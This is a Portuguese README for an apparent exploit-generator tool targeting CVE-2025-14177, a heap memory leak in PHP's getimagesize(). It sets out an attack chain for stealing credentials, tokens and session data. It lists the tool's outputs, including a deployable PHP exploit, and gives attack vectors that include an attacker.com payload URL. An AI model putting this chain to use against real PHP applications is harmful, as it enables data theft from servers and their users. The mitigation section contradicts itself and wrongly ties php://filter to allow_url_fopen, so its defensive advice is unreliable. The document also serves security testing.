
PHP getimagesize() CVE-2025-14177 - Gerador de Exploit de Vazamento de Memória Heap Cadeia de exploit totalmente funcional em Python
| Campo | Valor |
|---|
| CVE | CVE-2025-14177 |
| CWE | CWE-524 (Uso de Recurso Não Inicializado) |
| Severidade | MODERATE — CVSS 6.3 |
| Causa raiz | php_read_stream_all_chunks() escreve blocos sucessivos em buffer[0], sobrescrevendo dados anteriores com memória heap não inicializada |
getimagesize("php://filter/.../resource=malicious.jpg", $info)
└─ php_read_stream_all_chunks()
├─ Chunk 1 (8KB) → memcpy(buffer+0, chunk1, 8192)
├─ Chunk 2 (8KB) → memcpy(buffer+0, chunk2, 8192) ← overwrites!
└─ $info['APP1'] = chunk2 + uninitialized heap garbage
Um JPEG malicioso carrega um marcador APP1 superdimensionado (16KB) para forçar o caminho de leitura de múltiplos blocos. O campo APP1 retornado vaza memória heap que pode conter credenciais, tokens, dados de sessão ou ponteiros ASLR.
[1] RECON Find PHP app exposing getimagesize() output (APP1 field)
[2] PREP Craft malicious.jpg (APP1 = 16KB)
[3] EXPLOIT Upload → trigger getimagesize($file, $info)
[4] EXTRACT Parse $info['APP1'] for leaked heap data
[5] IMPACT Credential theft / token extraction / ASLR bypass
python3 CVE-2025-14177.py [mode]
| Modo | Ação |
|---|---|
demo | Demonstração completa do exploit (padrão) |
gen | Gerar JPEG malicioso + código de exploit PHP |
test | Gerar JSON de caso de teste |
analyze | Gerar JPEG + simular + analisar vazamento |
flow | Imprimir diagrama de fluxo de ataque |
./exploit_output/)exploit_output/
├── malicious.jpg # crafted JPEG payload (APP1 = 16KB)
├── exploit_standalone.php # deployable PHP exploit
├── exploit_report.json # full analysis report
└── test_cases.json # 3 test scenarios
| Caso | Vetor |
|---|---|
| 1 | Upload direto → getimagesize($_FILES[...], $info) |
| 2 | Filtro de fluxo + LFI (php://filter/read=.../resource=...) |
| 3 | URL de imagem remota (/preview.php?url=attacker.com/malicious.jpg) |
$infogetimagesize() com wrappers php://filterAtualize o PHP para a versão corrigida. Nenhuma solução alternativa — patch necessário.
php -v # verify version
Se a atualização estiver bloqueada: remova APP1 de $info antes de retornar ao cliente, ou desabilite php://filter em allow_url_fopen.
Esta ferramenta é apenas para testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito para testar é ilegal.